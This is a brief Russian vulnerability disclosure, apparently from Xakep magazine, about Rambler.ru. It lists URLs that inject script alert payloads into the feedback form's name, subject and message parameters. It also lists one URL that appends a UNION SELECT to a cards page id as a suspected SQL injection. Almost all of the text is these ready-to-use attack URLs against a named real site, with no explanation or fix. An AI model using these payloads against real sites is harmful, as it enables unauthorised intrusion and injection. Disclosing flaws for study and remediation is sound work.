CSS в Rambler.ru

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

CSS: 

http://www.rambler.ru/db/support/feedback.shtml?name=<script>javascript:alert('hello')</script> 
http://www.rambler.ru/db/support/feedback.shtml?subj=<script>javascript:alert('hello')</script> 
http://www.rambler.ru/db/support/feedback.shtml?message=<script>javascript:alert('helo')</script> 

Подозрение на SQL - Injection:

http://cards.rambler.ru/show_big.html?id=5191&s=46%20UNION%20SELECT%20null/*

http://www.rambler.ru/db/finance/othernews.html?src=117